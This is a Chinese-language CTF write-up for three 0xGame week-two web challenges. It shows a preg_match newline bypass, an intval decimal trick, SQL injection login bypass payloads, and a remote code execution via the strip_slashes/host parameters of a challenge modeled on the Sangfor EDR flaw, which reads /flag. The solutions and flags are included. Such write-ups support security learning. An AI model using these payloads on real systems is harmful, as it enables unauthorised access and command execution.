0%

0xGame Week2

0xGame 第二周-Web

WriteUp by Casio

1. intval

  • 1st

    数组绕过没成功

    查询相关绕过,了解到preg_match缺陷

    而在非多行模式下,$似乎会忽略在句尾的%0a

    故传入?0xGame=20201001%0a

    测试一下:

    1
    http://web.game.0xctf.com:30102/?0xGame=20201001%0a&id=1024

    得到Good job!信号( •̀ ω •́ )y

  • 2nd

    学习intval函数相关,由题

    1
    2
    3
    $id=intval($_GET['id']);
    if($_GET['id'] != 1024 && $id === 1024)
    echo 'Congratulations!'.'<br>'.$flag;

    使得$_GET['id']在类型转换后与1024不等,$id为1024整数

    解题过程中发现不需要进制上的转换,直接1024.123跟个小数就可

  • ==>>0xGame{947eae96fe415cbc6eab173adee5d14f}

  • 附图:image-20201019173025990

2. just_login

开始不太清楚,搜了万能密码就POST上去了。

Hackbar看了看是post请求,然后编辑并重发:

1
username=1&password=1'or'1'or'1

查看响应:

1
Login Success!Here is your flag:0xGame{e5sy_sql_1njeCtion}

==>>0xGame{e5sy_sql_1njeCtion}

后面尝试发现有admin账户可以用,懂了让我干啥,

直接登录界面用户名填admin'and 1=1 #

使得sql构造出类似:(密码随意)

1
select * from admin where username='admin'and 1=1 #' and password='123456' 

该语句等价为:

1
select * from admin where username='admin'and 1=1

附图:image-20201019173252475

3. edr

由题下载index.php.bak并查看,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    /**
* 编解码
* @param string $data 编解码数据
* @return string 返回编解码数据
*/
$code = function($data) {
for ($i = 0; $i < strlen($data); ++$i) {
$data[$i] = $data[$i] ^ 'G';
}
return $data;
};
<!--此处对传入参数按位异或'G'加密 -->
/**
* 加密请求
* @param string $site 站点
* @param string $query 请求串
* @return string 返回请求URL
*/
$request = function($site, $query) use(&$code) {
$path = base64_encode($code($query));
return "$site/$path";
};
<!--搜索:php匿名函数中use从父作用域继承变量;&$为引用-->
<!--按我的理解是调用上面的加密办法,query实现站点路径-->
/**
* 解密回复
* @param string $data 回复数据
* @return array 返回回复数据
*/
$response = function($data) use(&$code) {
$ret = json_decode($data, true);
if (is_null($ret)) {
$dec = $code(base64_decode($data));
$ret = json_decode($dec, true);
}
return $ret;
};

搜索发现题指深信服EDR,学习网络资源执行system命令查看目录

1
?strip_slashes=system&host=ls

image-20201019211254070

RCE成功,推测flag放在根目录下

1
?strip_slashes=system&host=ls /

获得如下:

1
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

所以用cat命令直接去读取flag

1
?strip_slashes=system&host=cat /flag

==>>0xGame{S4n9f0r_3dR_c4N_Rce_reC3n7_D4y}

附图:image-20201019211557390

//这样看来。。。读到的bak文件没有发挥太大作用,直接在网上找到深信服edr漏洞相关文章,然后知道是考RCE, 再了解几个文件管理的linux命令,之前又做到了flag放在根目录下的题,如此一试就出来了(●ˇ∀ˇ●)